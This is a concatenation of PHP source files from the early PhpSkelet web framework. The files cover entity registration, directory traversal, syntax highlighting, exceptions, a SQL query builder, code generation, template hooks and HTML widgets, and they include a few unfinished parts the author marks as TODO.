if($entityId === null)
$entityId = $entity_class;
if(isset($this->entities[$entityId]))
throw new InvalidOperationException("Cannot register entity '$entityId', already registered");
$this->entities[$entityId] = array($db_table, $entity_class, $entityId, $connection_profile);
}
public function registerEntityAlias($entityId, $alias)
{
if(!isset($this->entities[$entityId]))
throw new InvalidOperationException("Cannot register alias, entity '$entityId' must be registered first");
if(isset($this->entities[$entityId]))
throw new InvalidOperationException("Cannot register alias '$entityId', already registered");
$this->entities[$alias] = & $this->entities[$entityId];
}
}
/** OLD CODE
class EntityManager extends Singleton
{
protected $entityInstances = array();
/ **
* Get EntityManager instance
* @return EntityManager
* /
public static function getInstance()
{
return parent::getInstance();
}
/ **
* Register entity ID and assotiate it with class name or prototype entity instance.
* @param string $entityID
* @param mixed[optional] $entityClass String means class name (if ommited same as $entityID), instance is prototype
* /
public function register($entityID, $entityClass = null, $replace = false)
{
parent::register($entityID, $entityClass, $replace);
if(!isset($this->entityInstances[$entityID]))
$this->entityInstances[$entityID] = array();
}
public function registerInstance($entityID, $instanceID, Entity $instance, $replace=false)
{
if(isset($this->entityInstances[$entityID][$instanceID]))
{
if(!$replace)
throw new InvalidOperationException("Cannot re-register entity instance $entityID:$instanceID");
if($this->entityInstances[$entityID][$instanceID] !== $instance)
$this->entityInstances[$entityID][$instanceID]->invalid(true);
}
$this->entityInstances[$entityID][$instanceID] = $instance;
}
public function create($entityID)
{
$entity = parent::create($entityID);
$entity->initNew();
return $entity;
}
public function load($entityID, $instanceID)
{
if(isset($this->entityInstances[$entityID][$instanceID]))
return $this->entityInstances[$entityID][$instanceID];
$entity = parent::create($entityID);
$entity->setId($id);
return $entity;
}
public function save($entity)
{
}
public function delete($entity)
{
}
protected function createInstanceFromClassName($prototypeID, $className)
{
return new $className($prototypeID, $this);
}
}
*/
<file_sep><?php
class SourceDirectory extends SourceEntry implements IteratorAggregate
{
private $entries;
private $ignores = array();
public function __construct($entry)
{
parent::__construct($entry);
}
public function getEntries()
{
if($this->entries === null)
{
$this->entries = $this->traverseDirectory($this->pathname);
$this->sort();
}
return $this->entries;
}
protected function loadIgnoreFile($path)
{
$fname = $path.'/.skeletignore';
$this->ignores = array('.skeletignore');
if(is_file($fname))
{
$file = file($fname);
foreach($file as $line)
{
$l = trim($line);
if(!empty($l))
$this->ignores[] = $l;
}
}
}
protected function isIgnoredFile($filename)
{
return in_array($filename, $this->ignores);
}
private function traverseDirectory($path)
{
$this->loadIgnoreFile($path);
$result = array();
$dir = new DirectoryIterator($path);
foreach ($dir as $entry)
{
if($entry->isDot() || $this->isIgnoredFile($entry->getFilename()))
continue;
$result[] = SourceEntry::create($entry);
}
return $result;
}
protected function sort_callback($a, $b)
{
$str_a = (($a instanceof SourceDirectory) ? '0' : '1') . $a->filename;
$str_b = (($b instanceof SourceDirectory) ? '0' : '1') . $b->filename;
if ($str_a == $str_b)
return 0;
return ($str_a < $str_b) ? -1 : 1;
}
protected function sort()
{
usort($this->entries, array($this, 'sort_callback'));
}
/* IteratorAggregate implementation */
public function getIterator()
{
return new ArrayIterator($this->getEntries());
}
}
<file_sep><?php
/**
* Super administrator - unlimited access
* @author langpavel
*/
class SuperAdmin extends User
{
public function isAnonymous()
{
return false;
}
public function getNick()
{
return 'administrator';
}
public function queryPermission($permission_name)
{
return true;
}
}
<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL> at <EMAIL> dot com)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../PhpSkelet.php';
/**
* Base class for all
* @author langpavel at gmail dot com
*/
class Object
{
/**
* runtime-wide counter of objects
*/
private static $goid = 0;
/**
* current object id
*/
private $oid = 0;
/**
* Do not call. Static initialization.
* It's called only once after class definition
*/
static function __static_construct()
{
self::$goid = 0;
}
/**
* Default constructor
*/
protected function __construct()
{
$this->getObjectId();
}
/**
* Default destructor
*/
public function __destruct()
{
}
/**
* Default implementation of __toString method - returns "(object {classname}[{oid}])"
*/
public function __toString()
{
$oid = $this->getObjectId();
return '(object '.get_class($this)."[$oid])";
}
/**
* Get class name of current instance
*/
public function getClassName()
{
return get_class($this);
}
/**
* default implementation of clone
*/
protected function __clone()
{
$this->oid = self::getNewObjectId();
}
/**
* Get current script unique object ID, usefull for hashes
*/
public function getObjectId()
{
return ($this->oid !== 0) ? $this->oid : ($this->oid = self::getNewObjectId());
}
/**
* get last used object identifier
* @return int
*/
public static function getCurrentObjectId()
{
return self::$goid;
}
/**
* get new object identifier
* @return int
*/
public static function getNewObjectId()
{
return ++self::$goid;
}
} Object::__static_construct();
<file_sep><?php
class SqlTypeConverter extends Singleton
{
/**
* array of type_name=>callback
*/
private $conversions = array();
protected function __construct()
{
parent::__construct();
$this->addConversion('null', array($this, 'transient_convert'));
$this->addConversion('null', array($this, 'transient_convert'));
}
public function addConversion($type, $converter)
{
$this->conversions[$type] = $converter;
}
public function toSql($value)
{
if(is_scalar($value))
return $value;
if($value instanceof ISqlValue)
return $value->toSql();
//if($value instanceof DateTime)
// return ...
return $value;
}
public function transient_convert($value)
{
return $value;
}
}
<file_sep><?php
// there is not to see yet
class ClassReflection extends ReflectionClass
{
//public $classname;
//public $instance = null;
public function __construct($class)
{
parent::__construct($class);
/*
if(is_object($class))
{
$this->instance = $class;
$this->classname = get_class($class);
}
else if(is_string($class))
{
$this->classname = $class;
}
*/
}
public static function getPropertiesAsArray($instance, $recursive = false)
{
return ReflectionMixin::getPropertiesAsArray($instance, $recursive);
}
public function getReflectionArray()
{
return static::getPropertiesAsArray($this);
}
}
<file_sep><?php
require_once __DIR__.'/SourceFile.php';
class HtaccessFile extends SourceFile
{
public function __construct($entry, $extension=null)
{
parent::__construct($entry, $extension, 'htaccess');
}
private function highlightOptions($line)
{
return preg_replace(
array(
'/(Options)/',
'/(-\\w+)/',
'/(\\+\\w+)/',
),
array(
'<span class="keyword">${1}</span>',
'<span class="opt_remove">${1}</span>',
'<span class="opt_add">${1}</span>',
), htmlspecialchars($line));
}
public function getHighlightedSource()
{
echo '<code class="source">';
$lines = file($this->pathname);
foreach($lines as $line)
{
$htmlline = htmlspecialchars($line);
$trimline = trim($line);
if($trimline == '')
{
// epty line - do nothing
}
else if($trimline[0] == '#')
{
// comment line
$htmlline = '<span class="comment">'.$htmlline.'</span>';
}
else
{
$tokens = preg_split("/[\s,]+/", $trimline);
if($tokens[0] == 'Options')
$htmlline = $this->highlightOptions($line);
else
$htmlline = preg_replace(array(
'!(/.*/[\\w\\.\\?%$-_&]*)!',
'/(Rewrite(Engine|Rule|Cond))/',
'/((%(\\{\\w+\\}|\d+))|\\$\d+)/',
), array(
'<span class="location">${1}</span>',
'<span class="keyword">${1}</span>',
'<span class="var">${1}</span>',
), $htmlline);
}
echo $htmlline;
}
echo '</code>';
}
}
<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL> at <EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
// Some global meaning exceptions (commons to php and PhpSkelet):
//
// + Exception
// | + LogicException - php
// | | | InvalidArgumentException - php
// | | + LengthException - php
// | + RuntimeException - php
// | | OutOfBoundsException - php
// | | UnexpectedValueException - php
// | + PhpSkeletException
// | + ApplicationException
// |
// + ErrorException - DO NOT USE
// Specific exceptions used by one class should be defined
// in same file as class that throws it itself.
// In this file should be only exceptions with global meaning
/**
* For 'not implemented yet' code
* @author langpavel
*/
final class NotImplementedException extends Exception { }
/**
* Base class for all PhpSkelet Framework exceptions
* @author langpavel
*/
class PhpSkeletException extends RuntimeException { }
/**
* Base class for all user defined PhpSkelet applications
* @author langpavel
*/
class ApplicationException extends PhpSkeletException { }
/**
* Special program-flow-control exception
* @author langpavel
*/
abstract class ApplicationSpecialException extends ApplicationException { }
/**
* Do not create this exception, call Application::getInstance()->done();
* Inform application that execution is done
* @author langpavel
*/
class ApplicationDoneSpecialException extends ApplicationSpecialException { }
/**
* Base class for all application invalid operations
* @author langpavel
*/
class InvalidOperationException extends PhpSkeletException { }
/**
* Thrown by SafeObject
* @author langpavel
*/
class InvalidPropertyAccessException extends PhpSkeletException { }
/**
* Base class for all exceptions that sends bugs to phpskelet.org website
*/
abstract class PhpSkeletBugException extends PhpSkeletException { }
/**
* DO NOT USE unless you're contibuting at phpskelet.org core. Use PhpSkeletCustomBugException instead
*/
class PhpSkeletCoreBugException extends PhpSkeletBugException { }
/**
* Extend this class if you want track serious unpredictable errors in your code
* at public tracking system at phpskelet.org
*/
abstract class PhpSkeletCustomBugException extends PhpSkeletBugException { }
<file_sep><?php
require_once __DIR__.'/PhpSkelet.php';
?>
<h1>PhpSkelet utilities</h1>
<ul>
<li><a href='Utils/AutoloaderGeneratorPage.php'>Autoloader Generator</a></li>
</ul><file_sep><?php
class MimeTypes extends Singleton
{
private $file_extension_mime_types = array();
public function __construct()
{
parent::__construct();
$this->registerFileExtensionMimeType('html', array($this, 'decide_xhtml'), true);
$this->registerFileExtensionMimeType('xhtml', array($this, 'decide_xhtml'), true);
$this->registerFileExtensionMimeType('xml', 'application/xml', true);
$this->registerFileExtensionMimeType('js', 'application/javascript', true);
$this->registerFileExtensionMimeType('json', 'application/json', true);
$this->registerFileExtensionMimeType('xml', 'application/xml', true);
$this->registerFileExtensionMimeType('txt', 'text/plain', true);
$this->registerFileExtensionMimeType('xsl', 'application/xslt+xml', true);
$this->registerFileExtensionMimeType('xslt', 'application/xslt+xml', true);
}
/**
* Register
* @param unknown_type $extension
* @param unknown_type $mime_type
* @param unknown_type $charset
*/
public function registerFileExtensionMimeType($extension, $mime_type, $charset = null)
{
$this->file_extension_mime_types[$extension] = array($mime_type, $charset);
}
public function setHeaderContentType($filename, $default_charset = 'utf-8')
{
$ext = pathinfo($filename, PATHINFO_EXTENSION);
return $this->setHeaderContentTypeByExtension($ext, $default_charset);
}
public function setHeaderContentTypeByExtension($ext, $default_charset = 'utf-8')
{
if(isset($this->file_extension_mime_types[$ext]))
{
list($contentType, $charset) = $this->file_extension_mime_types[$ext];
if(is_array($contentType))
$contentType = call_user_func($contentType);
if($charset === true && $default_charset)
$charset = "; charset=$default_charset";
else if(is_string($charset))
$charset = "; charset=$charset";
header('Content-Type: '.$contentType.$charset);
return true;
}
return false;
}
protected function decide_xhtml()
{
if(!isset($_GET['noxhtml']))
{
$accepts_xhtml = isset($_SERVER['HTTP_ACCEPT']) ? (false !== strpos($_SERVER['HTTP_ACCEPT'], 'application/xhtml+xml')) : false;
return $accepts_xhtml ? 'application/xhtml+xml' : 'text/html';
}
else
return 'text/html';
}
}
<file_sep><?php
require_once __DIR__.'/../../PhpSkelet.php';
class SourceEntry extends SafeObject
{
public $filename;
public $pathname;
public $realpath;
public $isHidden;
public $isReadable;
public $isWritable;
public $canDelete;
public $type;
public $modifyTime;
public $errors = array();
protected function __construct(SplFileInfo $entry)
{
parent::__construct();
//if(!$entry instanceof SplFileInfo)
// $entry = new SplFileInfo($entry);
$this->refresh($entry);
}
protected function refresh($entry = null)
{
if($entry === null)
$entry = new SplFileInfo($this->pathname);
if(!$entry instanceof SplFileInfo)
$entry = new SplFileInfo($entry);
$this->pathname = $entry->getPathname();
$this->filename = $entry->getFilename();
$this->realpath = $entry->getRealPath();
$this->isReadable = $entry->isReadable();
$this->isWritable = $entry->isWritable();
try {
$this->modifyTime = $entry->getMTime();
}
catch (Exception $err)
{
$this->modifyTime = 'ERROR';
$this->errors[] = $err;
}
try {
$this->type = $entry->getType();
if($this->type == 'link')
$this->type .= ($entry->isDir() ? ' dir' : ($entry->isFile() ? ' file' : ' unknown'));
}
catch (Exception $err)
{
$this->type = 'ERROR';
$this->errors[] = $err;
}
$this->canDelete = $this->isWritable;
$this->isHidden = $this->filename[0] == '.';
}
/**
* Virtual constructor for SourceEntry subclasses
* @param SplFileInfo $entry path of realized file
*/
public static function create($entry)
{
if(!$entry instanceof SplFileInfo)
$entry = new SplFileInfo($entry);
//if($entry->isDot())
// return null;
if($entry->isDir())
{
require_once __DIR__.'/SourceDirectory.php';
return new SourceDirectory($entry);
}
$filename = $entry->getFilename();
if($filename == '.htaccess')
{
require_once __DIR__.'/HtaccessFile.php';
return new HtaccessFile($entry);
}
require_once __DIR__.'/SourceFile.php';
$extension = pathinfo($entry->getPathname(), PATHINFO_EXTENSION);
switch($extension)
{
case 'php':
require_once __DIR__.'/PhpSourceFile.php';
return new PhpSourceFile($entry);
case 'tpl':
require_once __DIR__.'/TplSourceFile.php';
return new TplSourceFile($entry);
default:
return new SourceFile($entry);
}
}
}
<file_sep><?php
interface IApplicationHook
{
function init(Application $app);
function resolveRequest(Application $app);
function run(Application $app);
function finish(Application $app);
}<file_sep><?php
/**
* DO NOT USE THIS CLASS DIRECTLY - contribute and write bettrer api instead ;-)
* Quick and dirty query builder.
* This class is for internal use by IMapping implementors
* way for some SQL syntax specific abstraction layer
* TODO: Create better API
* @author langpavel
*/
abstract class QueryBuilder extends SafeObject
{
protected $col_sources = array();
protected $from_tables = array();
//protected $joins = array();
protected $where = array();
//protected $group_by = array();
protected $order_by = array();
public function __construct()
{
parent::__construct();
}
public function getColumnSources()
{
return $this->col_sources;
}
public function addColumnSource($col_source)
{
$this->col_sources[] = $col_source;
return $this;
}
public function addFromTable($table)
{
$this->from_tables[] = $table;
return $this;
}
public function addWhereUnsafe($expression)
{
$this->where[] = $expression;
}
/**
* add 'ORDER BY' sorting to query
* @param mixed $column
* @param bool $reverse
* @param bool $priority
*/
public function addSorting($column, $reverse=false, $priority=false)
{
if($priority === false)
array_push($this->order_by, array($column, $reverse));
else if($priority === true)
array_unshift($this->order_by, array($column, $reverse));
else
$this->order_by[$priority] = array($column, $reverse);
}
public function getFromTables()
{
return $this->from_tables;
}
/**
* If array accepted, escape each item separately and join it with '.' as table name and column name usualy are
* @param mixed $identifier array or string
* @return string
*/
public abstract function escapeIdentifier($identifier);
/**
* Make string safe in same way as mysql_real_escape_string do
* @param mixed $value
*/
public abstract function escapeString($value);
/**
* check type of value and convert it to safe form for SQL query inclusion
* @param string $value
*/
public function escape($value)
{
if(is_int($value))
return $value;
else if(is_float($value))
return str_replace(',', '.', ''.$value);
else
return $this->escapeString($value);
}
public function escapeIdentifiers(array $array)
{
$result = array();
foreach($array as $item)
$result[] = $this->escapeIdentifier($item);
return $result;
}
public function getSQL()
{
// universal implementation
$cols = $this->escapeIdentifiers($this->getColumnSources());
$tables = $this->escapeIdentifiers($this->getFromTables());
$cols = empty($cols) ? '*' : implode(', ', $cols);
$tables = implode(', ', $tables);
$result = "SELECT $cols\nFROM $tables\n";
if(!empty($this->where))
{
$result .= 'WHERE ('. implode(') AND (', $this->where).")\n";
}
if(!empty($this->order_by))
{
$order_cols = array();
foreach($this->order_by as $order_col)
{
$order_cols[] = $this->escapeIdentifier($order_col[0]).($order_col[1]?' DESC':'');
}
$result .= 'ORDER BY '.implode(', ', $order_cols);
}
return $result;
}
public function __toString()
{
return $this->getSQL();
}
}
<file_sep><?php
/**
* Abstract class for PHP code generation
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../PhpSkelet.php';
class SourceGeneratorException extends PhpSkeletException {}
/**
* Abstract class for PHP code generator tools
*
* @author langpavel
*/
abstract class SourceGenerator extends SafeObject
{
private $source = '';
private $indent = 0;
/**
* Write text to output with respect to indentation level
*
* @param string $text
*/
protected function write($text)
{
if($this->indent == 0)
$this->source .= $text;
else
$this->source .= str_replace("\n", "\n".str_repeat("\t", $this->indent), $text);
}
/**
* Write text to output with respect to indentation level and begin newline
*
* @param string $text
*/
protected function writeLn($text = '')
{
$this->write($text . "\n");
}
/**
* Enter PHP mode (emits '<?php')
*/
protected function writePHPOpenTag()
{
$this->writeLn('<?php');
}
/**
* Write PHP comment header
*
* @param string $tool_name
* @see SourceGenerator::beginSourceFile()
*/
protected function writeGeneratedFileWarning($tool_name = null)
{
if($tool_name === null)
$tool_name = get_class($this);
$this->write('
/**
* This file was generated by tool '.$tool_name.' from the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
/***********************************************************************************
* WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING *
***********************************************************************************
* This file is generated by a tool "'.$tool_name.'".
* DO NOT MODIFY THIS FILE BY HAND, use '.$tool_name.' tool instead
***********************************************************************************/
');
}
/**
* Start PHP mode and write comment header
*
* @param string[optional] $tool_name
*/
protected function beginSourceFile($tool_name = null)
{
$this->writePHPOpenTag();
$this->writeGeneratedFileWarning($tool_name);
}
/**
* Increase indentation level
*/
protected function Indent()
{
$this->indent++;
}
/**
* Decrease indentation level
*/
protected function Unindent()
{
$this->indent--;
}
/**
* returns generated result as string
*/
public function getSource()
{
return $this->source;
}
/**
* Write result to file $filename
*
* @param string $filename
* @param bool[optional] $rename_old
* @param bool[optional] $compare
* @throws SourceGeneratorException
*/
public function writeFile($filename, $rename_old = true, $compare = true, $raise_error = true)
{
$source = $this->getSource();
if($rename_old && is_file($filename))
{
if($compare && (file_get_contents($filename) == $source))
return true;
$i = 0;
do
{
$newfilename = $filename.sprintf('.%04d.bak',$i);
$i++;
}
while(is_file($newfilename));
if(!rename($filename, $newfilename))
{
if($raise_error)
throw new SourceGeneratorException('Cannot rename file "'.$filename.'" to "'.$newfilename.'"');
else
return false;
}
}
if(@file_put_contents($filename, $source) === false)
{
if($raise_error)
throw new SourceGeneratorException('Cannot write file "'.$filename.'"');
else
return false;
}
return $filename;
}
public function __toString()
{
return $this->getSource();
}
}
<file_sep>This folder contains generated code and PHP should have permission to write to this folder on development environment.
<file_sep><?php
class SmartyAppHook extends ApplicationHook
{
public function __create()
{
parent::__create();
}
function resolveRequest(Application $app)
{
}
function run(Application $app)
{
$this->setMimeType();
$this->prepareTemplate();
$result = false;
$result |= $this->runPhpScript();
$result |= $this->runTemplate();
return $result;
}
/**
* Template
* @var Template
*/
public $template;
private $template_file;
public function getTemplateResource($extension = 'php', $url_path = null, $recurse_up = false)
{
if($url_path === null)
$url_path = Application::getInstance()->getRequestUri();
if($recurse_up)
return $this->getTemplateResourceRecurseUp($extension, $url_path);
// TODO: SECURITY: Jail path to getTemplateDir()
$path = $this->getTemplateDir().$url_path;
if(is_dir($path))
$path .= '/__index.'.$extension;
else
$path .= '.'.$extension;
return $path;
}
public function getTemplateResourceRecurseUp($extension = 'php', $url_path = null)
{
// TODO: SECURITY: Jail path to getTemplateDir()
$url_path = explode('/', $url_path);
$resource = array_pop($url_path);
while(true)
{
$path = $this->getTemplateDir().implode('/', $url_path).'/'.$resource;
if(is_dir($path))
return $path .'/__index.'.$extension;
else if(is_file($path.'.'.$extension))
return $path.'.'.$extension;
else if(count($url_path) == 0)
return false;
array_pop($url_path);
}
}
/**
* Get directory with slash at end
*/
public function getTemplateDir()
{
return DIR_TEMPLATE;
}
public function normalizeUrlPath($url)
{
$req_page_norm = str_remove_dia($url);
$req_page_norm = preg_replace(array('#[/\\\\]+#','/[_\\s]+/'), array('/', '_'), $req_page_norm);
return trim($req_page_norm, '/\\');
}
protected function setMimeType($url_path = null)
{
if($url_path === null)
$url_path = Application::getInstance()->getRequestUri();
$mimes = MimeTypes::getInstance();
$ext = pathinfo($url_path, PATHINFO_EXTENSION);
if($ext == '') $ext = 'xhtml';
return $mimes->setHeaderContentTypeByExtension($ext);
}
public function prepareTemplate($url_path = null, $recurse_up = false)
{
$template_file = $this->getTemplateResource('tpl', $url_path, $recurse_up);
if(is_file($template_file))
{
$this->template_file = $template_file;
$this->template = new Template();
$this->template->assign('app', Application::getInstance());
return true;
}
else
{
$this->template_file = null;
return false;
}
}
public function runPhpScript($url_path = null, $recurse_up = false)
{
$php_file = $this->getTemplateResource('php', $url_path, $recurse_up);
if(is_file($php_file))
{
$app = Application::getInstance();
$tpl = $this->template;
require $php_file;
return true;
}
return false;
}
public function runTemplate()
{
if($this->template_file === null)
return false;
$this->template->display($this->template_file);
return true;
}
/*
public function prepareErrorTemplate($http_code, $url_path=null)
{
if($url_path === null)
$url_path = $this->url_path;
return $this->prepareTemplate($url_path.'/__http'.$http_code, true);
}
public function runPhpErrorScript($http_code, $url_path = null)
{
if($url_path === null)
$url_path = $this->url_path;
return $this->runPhpScript($url_path.'/__http'.$http_code, true);
}
*/
}<file_sep><?php
/**
* This is main file for whole PhpSkelet Framework.
* require_once this file should be all what you must do
* when you want use PhpSkelet Framework.
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (langpavel at gmail dot com)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
if(defined('PHPSKELET_PHP'))
throw new ApplicationException("require_once or include_once is preffered when you using PhpSkelet Framework");
define('PHPSKELET_PHP', true);
if(!defined('PHPSKELET_AUTOLOADER_ENABLED'))
define('PHPSKELET_AUTOLOADER_ENABLED', true);
// common exceptions
require_once __DIR__.'/exceptions.php';
// helper functions - cannot be autoloaded
require_once __DIR__.'/debug.php';
// alwais requested classes
require_once __DIR__.'/Classes/Object.php';
require_once __DIR__.'/Classes/SafeObjectMixin.php';
require_once __DIR__.'/Classes/SafeObject.php';
require_once __DIR__.'/Classes/Debug.php';
// error handlers - set_error_handler and set_exception_handler
Debug::getInstance()->registerErrorHandlers();
require_once __DIR__.'/functions.php';
if(defined('PHPSKELET_AUTOLOADER_ENABLED') && PHPSKELET_AUTOLOADER_ENABLED)
{
if(is_file(__DIR__.'/generated_code/autoloader.php'))
{
// generated autoloader
require_once __DIR__.'/generated_code/autoloader.php';
}
else
{
// TODO: handle autoloader/instalation error
echo '<p>NOTE: Autoloader enabled but no autoloader file generated</p>';
}
}
<file_sep><?php
/**
* Use this class to represent html text nodes
* or raw mixed text & html
*
* also acts as static factory
*/
final class Html extends HtmlWidget
{
private $html_text;
public function __construct($html_text, $parent = null)
{
parent::__construct('#text', null, $parent);
$this->html_text = $html_text;
}
public function getAttribute($name, $default = null)
{
throw new InvalidOperationException('Cannot access attributes on html text widget');
}
public function setAttribute($name, $value)
{
throw new InvalidOperationException('Cannot access attributes on html text widget');
}
public function toHtml()
{
return $this->html_text;
}
public static function Html($html_text, $parent = null)
{
return new Html($html_text, $parent);
}
public static function Text($unsafe_text, $parent = null)
{
return new Html(htmlspecialchars($unsafe_text), $parent);
}
public static function Tag($tag, $attributes = null, $content = null, $parent = null)
{
if(is_string($attributes))
{
$content = $attributes;
$attributes = null;
}
$widget = new HtmlWidget($tag, $attributes, $parent);
if($content !== null)
$widget->addText($content);
return $widget;
}
public static function Form($name = null, $parent = null)
{
return new HtmlForm($name, $parent);
}
public static function Select($attributes = null, $binding = null, $this = null)
{
$select = new HtmlSelect($attributes, $this);
if($binding !== null)
$select->bind($binding);
return $select;
}
}
<file_sep><?php
class DbRecord extends SafeObject
{
private $original = null;
private $current = null;
}
<file_sep><?php
interface ISqlValue extends IDibiVariable
{
///**
// * return SQL safe representation of self
// */
//public function toSql();
}
<file_sep><?php
interface IRequestDispatcher
{
}<file_sep><?php
/**
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
interface IComposite extends ArrayAccess, IteratorAggregate
{
public function getName();
public function hasChilds();
public function getChilds();
public function addChild(IComposite $composite);
public function removeChild(IComposite $composite);
}<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL> at <EMAIL> dot com)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
/**
* Base abstract class for request to view dispatchers
*
* @author <NAME> (<EMAIL>)
*/
abstract class RequestDispatcher extends SafeObject
{
private static $rootDispatcher = null;
public static function getRootDispatcher($create = false, $check_type = true)
{
$result = self::$rootDispatcher;
if($result === null)
{
if($create)
return self::$rootDispatcher = new static();
if($check_type)
throw new ApplicationException("Root request dispatcher is not created");
}
elseif($check_type && (!$result instanceof static))
{
$requested = get_called_class();
$instantiated = get_class($result);
throw new ApplicationException("Root request dispatcher is of different type ($requested requested but $instantiated found)");
}
return $result;
}
/**
* @var array stores resolved arguments
*/
protected $resolved_arguments = array();
/**
* Initialize request dispatcher
* @param array $resolved_arguments already resolved arguments (key=>value)
*/
protected function __construct(array $resolved_arguments = null)
{
parent::__construct();
if($resolved_arguments !== null)
$this->resolved_arguments = $resolved_arguments;
}
/**
* Try resolve appropriate view corresponding to passed http request
* @param HttpRequest $request
*/
public abstract function dispatch(HttpRequest $request);
}
<file_sep><?php
abstract class Composite extends SafeObject implements IteratorAggregate, Countable
{
private $name = null;
private $parent = null;
private $children = array();
private $child_class = __CLASS__;
public function __construct(Composite $parent = null)
{
parent::__construct();
if($parent !== null)
$this->setParent($parent);
}
public function __destruct()
{
$this->remove();
parent::__destruct();
}
protected function setChildClass($classname)
{
$this->child_class = $classname;
}
public function getParent()
{
return $this->parent;
}
public final function getRoot()
{
$parent = $this;
while($parent->parent !== null)
$parent = $parent->parent;
return $parent;
}
public function setParent(Composite $parent)
{
if($this->parent !== null)
$this->parent->remove($this);
if($parent !== null)
$parent->add($this);
return $this;
}
public function add($child)
{
if(!$child instanceof $this->child_class)
throw new InvalidArgumentException();
if($child->parent !== null)
$child->parent->remove($child);
$this->children[$child->getObjectId()] = $child;
$child->parent = $this;
return $this;
}
public final function addArray(array $children)
{
foreach($children as $child)
$this->add($child);
return $this;
}
public function remove($child = null)
{
if($child === null)
{
if($this->parent === null)
return;
$this->parent->remove($this);
return;
}
if(!$child instanceof $this->child_class)
throw new InvalidArgumentException();
unset($this->children[$child->getObjectId()]);
$child->parent = null;
}
public function getIterator()
{
return new ArrayIterator($this->children);
}
public function count()
{
return count($this->children);
}
// protected function invokeChildrenMethod($method, $param_arr = null, $recursive = false)
// {
// if($param_arr === null)
// $param_arr = array();
//
// foreach($this->children as $child)
// {
// if(method_exists($child, $method))
// call_user_func_array(array($child, $method), $param_arr);
// if($recursive)
// $child->invokeChildrenMethod($method, $param_arr, $recursive);
// }
// }
public function __clone()
{
parent::__clone();
$this->parent = null;
$children = $this->children;
$this->children = array();
foreach($children as $child)
{
$child = clone $child;
$this->add($child);
}
}
}
<file_sep><?php
/**
* Interface for HTTP response objects.
*
* @author <NAME> (<EMAIL>)
*/
interface IResponse
{
/**
* write appropriate HTTP headers
*/
public function writeResponseHeader();
/**
* write whole response content
*/
public function writeResponseContent();
/**
* subsequent call of writeResponseHeader() and writeResponseContent()
*/
public function writeResponse();
}
<file_sep><?php
class HtmlSelect extends HtmlWidget
{
private $select_options = array();
private $selected_key;
public function __construct($name_or_attrs = null, $parent = null)
{
if(is_string($name_or_attrs))
$name_or_attrs = array(
'name'=>$name_or_attrs,
'id'=>$name_or_attrs);
parent::__construct('select', $name_or_attrs, $parent);
}
protected function bind_array($binding)
{
$this->select_options = $binding;
}
private function getOptionHtml($key, $option)
{
$selected = $this->selected_key == $key ? ' selected="selected"' : '';
$key = htmlentities($key);
if(is_array($option))
{
return "<optgroup label=\"$key\">\r\n" .
$this->getOptionsHtml($option) . '</optgroup>';
}
$option = htmlspecialchars($option);
return "<option value=\"$key\"$selected>$option</option>";
}
private function getOptionsHtml($options)
{
$result = array();
foreach($options as $key=>$option)
{
$result[] = $this->getOptionHtml($key, $option);
}
return implode("\t\t\r\n", $result);
}
public function getContent()
{
return $this->getOptionsHtml($this->select_options);
}
public function bind($binding)
{
if(is_array($binding))
$this->bind_array($binding);
return $this;
}
public function setSelectedKey($value)
{
$this->selected_key = $value;
}
}
<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../PhpSkelet.php';
/**
* Safe object class - deny setting and reading of undeclared properties
* @author langpavel
*/
final class SafeObjectMixin
{
/**
* For magic method __unset - forbidden and throws InvalidPropertyAccessException
* @param string $name
* @throws InvalidPropertyAccessException
*/
public static function objectUnset($instance, $name)
{
throw new InvalidPropertyAccessException('Cannot unset property of SafeObject ('.get_class($instance).'::'.$name.')');
}
/**
* For magic method __set - forbidden and throws InvalidPropertyAccessException
* @param string $name
* @param mixed $value
* @throws InvalidPropertyAccessException
*/
public static function objectSet($instance, $name, $value)
{
throw new InvalidPropertyAccessException('Invalid property access (set '.get_class($instance).'::'.$name.')');
}
/**
* For magic method __get, call method "get$name" if exists
* @param string $name
* @throws InvalidPropertyAccessException
*/
public static function objectGet($instance, $name)
{
// This is here because of template rendering
$methodname = 'get'.$name;
if(method_exists($instance, $methodname))
return $instance->$methodname();
throw new InvalidPropertyAccessException('Invalid property access (get '.get_class($instance).'::'.$name.')');
}
}
<file_sep><?php
/**
* View interface, merging IProvidePermalink and IResponse
*
* @author <NAME> (<EMAIL>)
* @see IResponse
* @see IProvidePermalink
*/
interface IView extends IResponse, IProvidePermalink
{
}
<file_sep><?php
/**
* Base interface for all singleton designed classes
*
* This should seems curious, but it have a sense as hint.
*/
interface ISingleton
{
/**
* get instance of current singleton
*/
public static function getInstance();
}
<file_sep><?php
class SitemapEntry extends SafeObject
{
/**
* URL of page. This URL must begin with the protocol (such as http) and end with a trailing slash, if your web server requires it. This value must be less than 2,048 characters.
* @var string
*/
public $loc;
/**
* Date in format YYYY-MM-DD
* @var string
*/
public $lastmod;
/**
* one of always, hourly, daily, weekly, monthly, yearly, never
* @var string
*/
public $changefreq;
/**
* float from 0 to 1, default 0.5
* @var float
*/
public $priority;
public function __construct($loc=null, $priority=null, $changefreq=null, $lastmod=null)
{
parent::__construct();
if($priority === null)
$priority = 0.5;
